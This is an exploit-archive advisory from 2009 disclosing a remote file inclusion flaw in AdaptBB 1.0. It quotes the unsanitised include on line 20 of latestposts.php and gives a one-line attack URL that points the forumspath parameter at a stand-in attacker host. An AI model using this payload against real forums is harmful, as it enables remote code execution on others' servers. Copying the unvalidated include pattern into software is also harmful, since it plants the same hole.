AdaptBB 1.0 (forumspath) Remote File Inclusion Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : AdaptBB 1.0 (forumspath) Remote File Inclusion Vulnerability
# Published : 2009-06-01
# Author : xoron
# Previous Title : PAD Site Scripts 3.6 Remote Arbitrary Database Backup Vulnerability
# Next Title : ASP Football Pool 2.3 Remote Database Disclosure Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-   
=-         AdaptBB 1.0  Remote File Include
=-
=-     Webpage:    http://www.adaptbb.com
=-     Download    http://sourceforge.net/project/downloading.php?group_id=253154&filename=AdaptBB_1.0.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=- Author: xoron
=-
=- Oss 14 Haziran!
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=-  Bug Code: in latestposts.php
=-  
=-        in line 20. : include($forumspath."config.php");
=-
=-
=-
=-  /latestposts.php?forumspath=evilc0der?
=-
=-
=-  XOROn (C) 2009
=-
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# www.Syue.com [2009-06-01]